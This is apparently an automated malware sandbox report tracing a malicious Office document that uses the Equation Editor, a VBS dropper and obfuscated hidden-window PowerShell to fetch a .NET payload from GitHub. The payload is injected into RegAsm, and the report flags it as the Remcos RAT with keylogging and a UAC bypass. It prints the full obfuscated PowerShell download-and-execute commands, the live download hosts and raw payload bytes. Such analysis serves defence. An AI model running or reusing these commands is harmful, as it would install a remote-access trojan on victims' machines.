2024-09-27 10:51:43 UTC	986	IN	HTTP/1.1 302 Found Date: Fri, 27 Sep 2024 10:51:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 210 Connection: close location: http://104.168.32.148/550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc strict-transport-security: max-age=15552000; includeSubDomains vary: Accept-Encoding vary: Accept x-content-type-options: nosniff x-dns-prefetch-control: off x-download-options: noopen x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wB9W%2FN1UrahuAX48dSfaHu1EiCegDJMxyTxqD0iHXesRBLZ4wY2SJOpACMjFhcfhO7Duzbfwh9KzfJzYwZ7z2uE2kcBAps1D9zLoMbweb2f6Iap2GT%2BisnxtpQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9af0abce900f47-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49173	185.199.108.133	443	4036	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:50 UTC	128	OUT	GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-27 10:51:50 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2935468 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "df9ff7aedbae4b4f50e2ae3a8f13fd0b84c66fbd35e7ac0df91a7a47b720c032" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: AE01:1E9E33:466016:4C7790:66F68932 Accept-Ranges: bytes Date: Fri, 27 Sep 2024 10:51:50 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740020-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1727434311.787543,VS0,VE8 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d0e496cf2add6ae32289eaf30681387a6f71b364 Expires: Fri, 27 Sep 2024 10:56:50 GMT Source-Age: 0
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 41 4f 50 39 57 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 4a 41 68 41 41 41 47 41 41 41 41 41 41 41 41 33 71 38 68 41 41 41 67 41 41 41 41 77 43 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAOP9WYAAAAAAAAAAOAADiELATAAAJAhAAAGAAAAAAAA3q8hAAAgAAAAwCEAAABAAAAgAAAAAgA
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 41 41 42 67 41 41 41 44 67 41 41 41 41 41 4b 67 49 44 66 51 55 41 41 41 51 67 41 41 41 41 41 48 36 45 45 41 41 45 65 30 41 51 41 41 51 35 30 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 6a 48 2f 2f 2f 2f 41 45 59 6f 45 67 41 41 42 67 49 6f 43 51 41 41 42 69 67 42 41 41 41 4b 4b 67 41 41 45 7a 41 44 41 47 30 41 41 41 41 42 41 41 41 52 49 41 45 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 49 41 41 41 41 46 41 41 41 41 47 51 41 41 41 44 67 41 41 41 41 41 41 69 67 55 41 41 41 47 41 32 38 46 41 41 41 47 4b 42 55 41 41 41 59 71 46 69 6f 43 4b 42 4d 41 41 41 59 44 4b 42 4d 41 41 41 59 6f 41 67 41 41 43 6a 6e 6f 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 75 45 41 41 45 4f 72 44 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 70 66 2f 2f 2f Data Ascii: AABgAAADgAAAAAKgIDfQUAAAQgAAAAAH6EEAAEe0AQAAQ50v///yYgAAAAADjH////AEYoEgAABgIoCQAABigBAAAKKgAAEzADAG0AAAABAAARIAEAAAD+DgAAOAAAAAD+DAAARQIAAAAFAAAAGQAAADgAAAAAAigUAAAGA28FAAAGKBUAAAYqFioCKBMAAAYDKBMAAAYoAgAACjno////IAAAAAB+hBAABHsuEAAEOrD///8mIAAAAAA4pf///
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 49 41 45 41 41 41 41 34 6d 66 2f 2f 2f 77 49 4f 42 48 30 4a 41 41 41 45 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 74 61 45 41 41 45 4f 58 33 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 63 76 2f 2f 2f 7a 49 43 4b 42 6b 41 41 41 59 6f 4a 77 41 41 42 69 6f 41 41 41 41 54 4d 41 4d 41 6b 51 41 41 41 41 4d 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 42 41 41 41 41 41 59 41 41 41 41 46 41 41 41 41 4c 41 41 41 41 46 49 41 41 41 41 34 41 51 41 41 41 43 6f 52 41 53 67 6b 41 41 41 47 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 2f 45 41 41 45 4f 73 72 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 76 2f 2f 2f 2f 78 45 42 4f 64 4c 2f 2f 2f 38 67 41 41 41 41 41 48 36 45 45 41 41 45 65 33 77 51 41 41 51 36 70 50 2f 2f 2f 79 59 67 41 41 41 Data Ascii: IAEAAAA4mf///wIOBH0JAAAEIAAAAAB+hBAABHtaEAAEOX3///8mIAAAAAA4cv///zICKBkAAAYoJwAABioAAAATMAMAkQAAAAMAABEgAwAAAP4OAAA4AAAAAP4MAABFBAAAAAYAAAAFAAAALAAAAFIAAAA4AQAAACoRASgkAAAGIAAAAAB+hBAABHs/EAAEOsr///8mIAEAAAA4v////xEBOdL///8gAAAAAH6EEAAEe3wQAAQ6pP///yYgAAA
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 45 67 41 41 41 41 41 48 36 45 45 41 41 45 65 79 49 51 41 41 51 36 53 66 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 2b 2f 2f 2f 2f 45 51 51 6f 4f 51 41 41 42 6a 72 4d 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 74 6d 45 41 41 45 4f 68 37 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 45 2f 2f 2f 2f 39 33 45 2f 76 2f 2f 45 51 51 36 58 51 41 41 41 43 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 69 68 41 41 42 44 6b 50 41 41 41 41 4a 69 41 41 41 41 41 41 4f 41 51 41 41 41 44 2b 44 41 55 41 52 51 4d 41 41 41 41 46 41 41 41 41 4b 51 41 41 41 44 6f 41 41 41 41 34 41 41 41 41 41 44 67 77 41 41 41 41 49 41 45 41 41 41 42 2b 68 42 41 41 42 48 73 6f 45 41 41 45 4f 74 48 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 78 76 2f 2f 2f 78 45 45 4b 44 6f 41 41 41 59 67 41 67 41 41 41 Data Ascii: EgAAAAAH6EEAAEeyIQAAQ6Sf///yYgBAAAADg+////EQQoOQAABjrM////IAAAAAB+hBAABHtmEAAEOh7///8mIAAAAAA4E////93E/v//EQQ6XQAAACAAAAAAfoQQAAR7ihAABDkPAAAAJiAAAAAAOAQAAAD+DAUARQMAAAAFAAAAKQAAADoAAAA4AAAAADgwAAAAIAEAAAB+hBAABHsoEAAEOtH///8mIAEAAAA4xv///xEEKDoAAAYgAgAAA
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 4f 4a 50 2f 2f 2f 38 43 46 48 30 51 41 41 41 45 49 41 55 41 41 41 41 34 67 76 2f 2f 2f 77 4a 37 45 41 41 41 42 43 67 45 41 41 41 72 49 41 45 41 41 41 42 2b 68 42 41 41 42 48 74 63 45 41 41 45 4f 6d 50 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 57 50 2f 2f 2f 79 6f 71 41 6e 73 50 41 41 41 45 4b 41 55 41 41 43 73 67 41 41 41 41 41 48 36 45 45 41 41 45 65 78 6b 51 41 41 51 35 4e 2f 2f 2f 2f 79 59 67 41 41 41 41 41 44 67 73 2f 2f 2f 2f 41 41 41 6d 66 68 45 41 41 41 51 55 2f 67 45 71 41 41 41 61 66 68 45 41 41 41 51 71 41 43 72 2b 43 51 41 41 62 77 30 41 41 41 6f 71 41 43 72 2b 43 51 41 41 62 77 63 41 41 41 6f 71 41 43 72 2b 43 51 41 41 62 31 30 41 41 41 59 71 41 44 34 41 2f 67 6b 41 41 50 34 4a 41 51 41 6f 62 77 41 41 42 69 6f 36 2f 67 6b 41 41 50 34 4a 41 51 42 Data Ascii: OJP///8CFH0QAAAEIAUAAAA4gv///wJ7EAAABCgEAAArIAEAAAB+hBAABHtcEAAEOmP///8mIAEAAAA4WP///yoqAnsPAAAEKAUAACsgAAAAAH6EEAAEexkQAAQ5N////yYgAAAAADgs////AAAmfhEAAAQU/gEqAAAafhEAAAQqACr+CQAAbw0AAAoqACr+CQAAbwcAAAoqACr+CQAAb10AAAYqAD4A/gkAAP4JAQAobwAABio6/gkAAP4JAQB
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 67 41 41 41 5a 7a 45 41 41 41 43 6e 4d 52 41 41 41 4b 66 52 41 41 41 41 51 67 41 67 41 41 41 48 36 45 45 41 41 45 65 32 34 51 41 41 51 35 41 50 37 2f 2f 79 59 67 48 51 41 41 41 44 6a 31 2f 66 2f 2f 41 78 38 51 4b 4e 45 43 41 41 59 35 4a 41 49 41 41 43 41 4f 41 41 41 41 66 6f 51 51 41 41 52 37 4a 68 41 41 42 44 6e 55 2f 66 2f 2f 4a 69 41 44 41 41 41 41 4f 4d 6e 39 2f 2f 38 43 65 78 59 41 41 41 51 52 42 68 45 48 49 50 2f 2f 2f 33 39 66 63 31 67 41 41 41 5a 76 45 67 41 41 43 69 41 52 41 41 41 41 66 6f 51 51 41 41 52 37 55 78 41 41 42 44 71 62 2f 66 2f 2f 4a 69 41 61 41 41 41 41 4f 4a 44 39 2f 2f 38 43 63 78 4d 41 41 41 70 39 46 67 41 41 42 43 41 48 41 41 41 41 4f 48 76 39 2f 2f 38 52 42 79 41 41 41 41 43 41 58 7a 6c 4a 41 51 41 41 49 41 55 41 41 41 41 34 5a Data Ascii: gAAAZzEAAACnMRAAAKfRAAAAQgAgAAAH6EEAAEe24QAAQ5AP7//yYgHQAAADj1/f//Ax8QKNECAAY5JAIAACAOAAAAfoQQAAR7JhAABDnU/f//JiADAAAAOMn9//8CexYAAAQRBhEHIP///39fc1gAAAZvEgAACiARAAAAfoQQAAR7UxAABDqb/f//JiAaAAAAOJD9//8CcxMAAAp9FgAABCAHAAAAOHv9//8RByAAAACAXzlJAQAAIAUAAAA4Z
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 41 41 42 2b 68 42 41 41 42 48 73 78 45 41 41 45 4f 6b 6a 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 50 66 2f 2f 2f 7a 6a 53 2f 2f 2f 2f 49 41 55 41 41 41 41 34 4c 76 2f 2f 2f 77 41 6f 55 67 41 41 42 68 45 42 4b 46 4d 41 41 41 59 54 42 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 5a 78 41 41 42 44 6f 50 41 41 41 41 4a 69 41 41 41 41 41 41 4f 41 51 41 41 41 44 2b 44 41 49 41 52 51 45 41 41 41 41 46 41 41 41 41 4f 41 41 41 41 41 44 64 5a 77 41 41 41 43 59 67 41 41 41 41 41 48 36 45 45 41 41 45 65 30 73 51 41 41 51 36 44 77 41 41 41 43 59 67 41 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 41 41 45 55 43 41 41 41 41 42 51 41 41 41 43 63 41 41 41 41 34 41 41 41 41 41 42 51 54 42 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 67 68 41 41 42 44 72 58 2f 2f 2f 2f 4a 69 41 Data Ascii: AAB+hBAABHsxEAAEOkj///8mIAAAAAA4Pf///zjS////IAUAAAA4Lv///wAoUgAABhEBKFMAAAYTBSAAAAAAfoQQAAR7ZxAABDoPAAAAJiAAAAAAOAQAAAD+DAIARQEAAAAFAAAAOAAAAADdZwAAACYgAAAAAH6EEAAEe0sQAAQ6DwAAACYgAAAAADgEAAAA/gwAAEUCAAAABQAAACcAAAA4AAAAABQTBSAAAAAAfoQQAAR7ghAABDrX////JiA
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 59 67 43 41 41 41 41 44 67 4a 2f 76 2f 2f 45 51 45 6f 53 77 41 41 42 68 4d 48 49 41 73 41 41 41 41 34 39 76 33 2f 2f 78 45 4a 4b 68 45 41 65 78 67 41 41 41 51 6f 56 77 41 41 42 6e 4d 67 41 41 41 47 45 77 6b 67 42 67 41 41 41 44 6a 57 2f 66 2f 2f 4f 4e 37 2f 2f 2f 38 67 44 41 41 41 41 48 36 45 45 41 41 45 65 7a 38 51 41 41 51 36 76 66 33 2f 2f 79 59 67 44 67 41 41 41 44 69 79 2f 66 2f 2f 41 6e 73 54 41 41 41 45 45 51 51 52 42 53 68 57 41 41 41 47 45 77 67 67 42 77 41 41 41 44 69 58 2f 66 2f 2f 41 42 4d 77 41 77 42 39 41 41 41 41 41 51 41 41 45 53 41 43 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 57 51 41 41 41 41 55 41 41 41 41 76 41 41 41 41 4f 46 51 41 41 41 41 43 63 77 34 41 41 41 70 39 45 41 41 41 42 43 41 41 41 Data Ascii: YgCAAAADgJ/v//EQEoSwAABhMHIAsAAAA49v3//xEJKhEAexgAAAQoVwAABnMgAAAGEwkgBgAAADjW/f//ON7///8gDAAAAH6EEAAEez8QAAQ6vf3//yYgDgAAADiy/f//AnsTAAAEEQQRBShWAAAGEwggBwAAADiX/f//ABMwAwB9AAAAAQAAESACAAAA/g4AADgAAAAA/gwAAEUDAAAAWQAAAAUAAAAvAAAAOFQAAAACcw4AAAp9EAAABCAAA
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 42 68 62 2b 42 43 6f 41 41 41 41 2b 44 77 41 44 4b 48 45 41 41 41 59 57 2f 67 49 57 2f 67 45 71 4d 67 38 41 41 79 68 78 41 41 41 47 46 76 34 43 4b 67 41 41 41 44 34 50 41 41 4d 6f 63 51 41 41 42 68 62 2b 42 42 62 2b 41 53 6f 6d 44 77 41 44 4b 48 49 41 41 41 59 71 41 41 41 79 44 77 41 44 4b 48 49 41 41 41 59 57 2f 67 45 71 41 41 41 41 45 7a 41 44 41 41 6f 42 41 41 41 4b 41 41 41 52 49 41 51 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 55 41 41 41 43 4b 41 41 41 41 73 51 41 41 41 41 55 41 41 41 42 67 41 41 41 41 4c 77 41 41 41 44 69 46 41 41 41 41 45 67 45 44 65 78 30 41 41 41 51 6f 48 51 41 41 43 69 6f 43 65 78 34 41 41 41 52 76 48 67 41 41 43 67 4e 37 48 67 41 41 42 43 68 34 41 41 41 47 62 78 38 41 41 41 6f 71 41 69 68 6a 41 41 41 Data Ascii: Bhb+BCoAAAA+DwADKHEAAAYW/gIW/gEqMg8AAyhxAAAGFv4CKgAAAD4PAAMocQAABhb+BBb+ASomDwADKHIAAAYqAAAyDwADKHIAAAYW/gEqAAAAEzADAAoBAAAKAAARIAQAAAD+DgAAOAAAAAD+DAAARQUAAACKAAAAsQAAAAUAAABgAAAALwAAADiFAAAAEgEDex0AAAQoHQAACioCex4AAARvHgAACgN7HgAABCh4AAAGbx8AAAoqAihjAAA
2024-09-27 10:51:50 UTC	1378	IN	Data Raw: 2f 2f 2f 78 4d 77 41 77 43 42 41 41 41 41 43 77 41 41 45 53 41 43 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 4c 51 41 41 41 44 67 41 41 41 41 46 41 41 41 41 4f 43 67 41 41 41 41 43 41 79 68 37 41 41 41 47 45 77 45 67 41 51 41 41 41 48 36 45 45 41 41 45 65 35 59 51 41 41 51 36 7a 66 2f 2f 2f 79 59 67 41 51 41 41 41 44 6a 43 2f 2f 2f 2f 46 43 6f 52 41 51 51 6f 67 51 41 41 42 69 6f 52 41 54 72 77 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 31 45 41 41 45 4f 5a 7a 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 6b 66 2f 2f 2f 77 41 41 41 42 4d 77 42 41 43 43 41 41 41 41 43 77 41 41 45 53 41 42 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 42 51 41 41 41 43 73 41 41 41 42 55 41 Data Ascii: ///xMwAwCBAAAACwAAESACAAAA/g4AADgAAAAA/gwAAEUDAAAALQAAADgAAAAFAAAAOCgAAAACAyh7AAAGEwEgAQAAAH6EEAAEe5YQAAQ6zf///yYgAQAAADjC////FCoRAQQogQAABioRATrw////IAAAAAB+hBAABHs1EAAEOZz///8mIAAAAAA4kf///wAAABMwBACCAAAACwAAESABAAAA/g4AADgAAAAA/gwAAEUDAAAABQAAACsAAABUA

Target ID:	0
Start time:	06:51:01
Start date:	27/09/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f050000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	06:51:32
Start date:	27/09/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Imagebase:	0x13fb80000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	06:51:43
Start date:	27/09/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	06:51:45
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicepicturewithyourebodygreen.vBS"
Imagebase:	0x350000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	06:51:45
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0xc20000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	06:51:46
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"
Imagebase:	0xc20000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	06:51:55
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd60000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	16
Start time:	06:51:56
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd60000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000002.1027741834.000000000239E000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000002.1027592173.0000000000891000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM 